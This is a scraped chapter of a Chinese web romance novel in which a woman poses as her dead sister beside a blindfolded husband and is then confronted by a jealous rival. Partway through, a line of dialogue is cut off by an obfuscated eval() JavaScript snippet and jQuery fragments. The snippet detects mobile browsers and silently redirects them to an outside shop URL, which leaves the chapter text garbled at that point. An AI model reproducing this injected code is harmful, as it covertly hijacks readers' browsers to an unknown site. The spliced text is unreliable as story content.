文趣网 > 其他小说 > 恰逢玉露来金风 > 26. 第 26 章
    姑衍烬将人搂进怀里,柔软娇躯猝不及防撞进他结实的胸膛里,双手紧攥他的肩膀,不自在的紧绷身子,想要从他腿上下去。

    姑衍烬摁住她:“别动。”

    房惜念脸颊泛热,紧紧攥住他的衣领,紧张得手心溢出汗:“这样不行。”

    “怎么不行?”姑衍烬明知故问,在她耳边呼出若近若离的气息。

    房惜念回避耳朵,一时分不清是他做梦,还是自己在做梦,着急想要从他怀里出来:“我,我不习惯这样。”

    “怎么会不习惯?”姑衍烬反问,语气开始疑惑。

    房惜念一紧张,脑子一热:“因为我们生分了,不像以前。”

    她感觉姑衍烬看来的眼神渐渐变得灼热,好像看见他抿起唇笑:“看来是要多亲近。”

    她窘迫,悬在床榻边边的脚趾一蜷,懊恼得紧,也怕他来真的,想随便找个理由搪塞过去,话还没到嘴边,脑袋上的男人问她。

    “你觉得呢,夫人?”

    房惜念要哭,但怕他发现破绽,只能硬着头皮问:“我们这样还不算亲近吗?”

    “你我夫妻,就这怎能算?”姑衍烬忽然靠近,他呼出的气息连同身上独属的味道一同变得强势浓烈。

    身体躺下来瞬间,房惜念连滚带爬窜出他的手臂间,惊慌失措差点摔倒在地,听见身后传来姑衍烬的轻叹声,她僵住身体,回头看他搀扶额头,随意坐在床榻上,抬起薄丝带蒙住的眼睛。

    莫名,被他‘看’得心虚,房惜念不敢面对他的脸,斜着眼睛看他:“这等事,水到渠成,不能仓促。”

    姑衍烬意外的通情达理:“我们分别四年未见,重逢如此是唐突了些。”

    房惜念松口气,闪烁着眼睛弯下来。

    “是夫君考虑不周到,还没问你四年过得如何,为何不回来见我,这点,是我心急。”姑衍烬自责。

    房惜念揉了下发热的耳朵,扭捏两下手:“我不怪你。”

    姑衍烬朝她伸出手,外面雨幕停歇,屋内似乎变得没那么黑暗,她看清他宽大而有力的掌心,抬起手放上去,忽地一紧,整个人随着他的力道,重新撞进他的怀中。

    听着他胸膛内的心跳声,热气好像从他身上蔓延到自己的脸上,她深呼吸,想象自己是亡姐,亡姐正和夫君重逢,喜极而泣,不舍缱绻。

    姑衍烬摇头:“怪我。”

    房惜念捂住他的唇:“我不怪你,能和烬郎相逢,是我三生有幸。”

    姑衍烬明显顿一下,发出不明意味的笑:“你这样,让我很想,跟你一起去死。”

    房惜念很认真点头,反应过来,摇鼓似地摇头。

    他想法不吉利,她有点怕,好害怕。

    房惜念从他怀里坐正,看着在夜色里的桂红薄丝带溢稀闪烁,握紧他的手:“我不许,你这么想太奇怪了。”

    “死,也是另外一种长相守,有我陪你,不好吗?”姑衍烬笑,笑出的声儿透着引诱,平白在暑月的夜晚里渗人。

    “不好,一点都不好。”

    那种不经意让人感到窒息,消失在二人间没有半点生命该有的活气,再一次冲击房惜念的感官,这种想法很可怕,要跟别人一起去死更可怕。

    他早有这种想法,还是近来才有?

    房惜念心思乐观,也怕他来真的,她捧住他的脸,轻轻的力道让他‘看’过来,着急的纠正他:“这种想法,是不对的,身体发肤生之父母,你若是死了,你的家人怎么办。”

    姑衍烬望着她许久,迟迟没有回答她的话,唇角掠起几分嘲笑,但没有回答她的话。

    “还有,还有那些真心待你之人。”

    姑衍烬回答了,不过答非所问:“那你呢,你可有想过你离开,旁人怎么办?”

    看来亡姐病逝,对姐夫伤害还蛮大,房惜念看着他,满眼泪花:“烬郎...”

    她脑袋一歪,只能用哭糊弄过去。

    最后姑衍烬没有逼问她这件事,给她抹去眼泪,在询问她离开数年里,为何不回来,可是去做了对不住他的事情,她大喊冤枉,胡编乱造说意识混沌,记不得回来,近年意识明了,才想起回来。

    起先姑衍烬还有些不高兴,她说想起来第一件事就是找他,他才稍作满意的入睡。

    入睡前,姑衍烬还特别过分,要她讲闺中情话,不讲还睡不着。

    她咬牙切齿,最后睁着放空的眼睛,重复和那晚上一模一样的词,他听不腻,她还说腻了。

    姑衍烬熟睡前,握住她的手:“下次再只说这一句,我可要惩罚你。”

    给他说情话,还要惩罚她,实在欺人太甚。

    姑衍烬呼吸平稳,房惜念正要去解开薄丝带,发现手被他攥得紧,一时半会挣脱不开,她埋头,将十指相扣的双手翻转过来,去扒开他一根根修长且骨节分明的手指。

    抽回手时,惊觉发现自己出了好些薄汗,她熟门熟路爬出窗,再关上窗门,撑着雨伞快速跑出院子。

    宋跃身穿雨衣站在暗处,等半天没等到姑衍烬出来,大概猜到人估计被哄睡了。

    雨天地滑,房惜念没看清路,给地上的石头绊了一脚,差点摔一跤。

    她抬起头,对上一脸惊愕的何玉兰,大半夜的不睡觉,她站在凉亭下做什么,很显然何玉兰也没想到她会从姑衍烬寝室出来,还如此慌乱,一时间脸色难辨。

    房惜念想朝她打个招呼,何玉兰提起裙子,不顾细雨淋在她的身上,一路走来,才清楚看到她眼底隐忍的泪花,掺杂对她的恼羞成怒。

    “你,大半夜从衍烬屋里出来,是去做什么,不知道姑娘家要有礼义廉耻吗?”

    房惜念用伞给她遮雨,嘴硬不承认:“你在说什么,我只是经过那里而已。”

    可何玉兰明明看见她慌慌张张从姑衍烬院子出来,怎么像是路过的样子,是将她当傻子看待,她推开房惜念假惺惺遮雨的举动。

    “经过?像这种拙劣完全没有说服力的说辞,你当我是瞎子吗,大半夜不在屋子睡觉,只是为了经过衍烬屋子啊?”

    何玉兰情绪激动,尤其看她身上颇为凌乱的衣裙,几乎抑制不住怒视她,好像要将她生吞活刮。

    实在太吓人,房惜念挡住天空降下的细雨,往后退上一步。

    她不想说谎,也不想骗人,可是被人当场抓了包,明日去姑衍烬面前告发,以煞神的性子,不比眼前情绪激动的何玉兰还要可怕。

    窘迫告诉她撒谎不对,危险迫使她要这么做,她一口咬定:“没有。”

    “你还说没有,房惜念,你知不知道你真的很坏,很让人讨厌。”何玉兰上前抓住她的胳膊,用力一晃。

    房惜念被她抓得生疼,知道她讨厌自己,但没想到会这么讨厌。

    油纸伞掉落在地,她想要去捡起来,胳膊硬生生被拉过去,再一次对上何玉兰痛恨的脸。

    “凭什么你能轻而易举的得到一切,而我等他四年,得不到

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17824280|209330||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他一个正眼。”

    明白了,是把她当成亡姐,难道何玉兰不知道她是姐夫的小姨子吗,看何玉兰如此伤心,也为她爱而不得感到惋惜。

    “何姑娘,这里面有误会,你先听我解释。”她笑脸相迎。

    何玉兰脸色苍白,松开她的肩膀,倍感羞辱的呼吸:“你在洋洋得意什么,在我面前炫耀吗?”

    房惜念刚要说不是,何玉兰苦笑一声,面无表情看她一眼,转身走进夜色雨幕中。

    身上被雨水淋透,她弯腰捡起油纸伞,正要追上去,发现找不到人,她抹掉从脑袋上流下来的水珠,轻轻叹口气。

    回到屋子,她先换下一身湿透的衣裙,在拿干毛巾擦拭头发,玉华宫能给她的热水不多,她倒小半盆热水,再加些凉水进去,拧干毛巾后擦身,最后净脚,清清爽爽上榻。

    她抱着薄被侧过身,可以说惊心胆跳,思来想去也不明白,大半夜何玉兰怎么会出现在回来的路上,还凑巧给她撞见了,一想到明日她会去告发,内心惶恐不安。

    窗外再次响起淅沥声,她抱着明日早点起床去截胡的念头入睡。

    等第二天醒来时,第一反应脑袋昏沉沉的,迷迷糊糊睁开眼睛同时太困又重新闭上眼,身体软绵绵完全没有力气。

    她好困,感觉身体不是自己的。

    她被发现不对劲时,是宋跃过来要饭,左右寻不到她的身影,顿感不对劲,以她的性子不可能如此安静乖巧,于是寻到她的屋子,敲几声门。

    没有动静,紧跟过来要饭吃的姑衍烬将人推开,抬脚把门踹开。

    ——砰

    房惜念吓得坐起来,呆呆看向门口赫然出现的挺拔身影,万千青丝垂落在肩背,整个人懵懵的不知所措,垂落在地的浅粉帐纱被人撩开,那赫然高大的身影往她走来。

    湿润迷糊的眼神往他看去,姑衍烬在她身上扫一眼,最后在她面上观察。

    她吸吸鼻子,不敢动弹,难不成何玉兰跟他告状,现在来找自己兴师问罪了。她颤动眼眸,缓缓垂下心虚的眉眼,也不知是不是不舒服的原因,一股子委屈无处发泄。

    说来说去还不是他的错,若不是他故意不相认,拖着她在外吃苦头,也从不给她解释,她为自己出口气又如何,还要惩罚她不成。

    “你,做什么要踹我的门。”她说起话来闷闷的,看他的眼神往上翻,就见他淡着脸,抬手在额头上摸了摸,下一刻皱起眉,回头让宋跃叫御医来。

    房惜念不可置信看着他,今天他不是来兴师问罪的吗,不应该问她为何要戏弄他,然后将她拖出去仗打二十。

    “等会我让人换新的。”姑衍烬看她傻愣愣盯着自己瞧,清透眼眸在他面上流转,病气在她眼睛笼罩雾蒙蒙的水气,湿漉漉像个被人抛弃的小鹿。

    她可不就是个没人要的小鹿,来长安城有一段时间,问过许多人,就是没问出她家人的住址。

    她只能拿着代表过去的和离书,四处询问,四处碰壁。

    姑衍烬看她掉下眼泪,伸手攥住他衣袍处的小角,轻轻扯动:“姐夫,你什么时候带我回家。”

    姑衍烬看着她,眼神暗淡但很快消失在眼底,动手将她按在床上,给她盖好薄被。

    “你失踪后,你的家人很担心你,举家出了长安城,就是为了寻你。”姑衍烬说的很认真,掀起眼眸,对上逐渐期许的眼睛,攥了下指尖。

    “这一寻便是好几年,我也不知道他们现在身在何处。”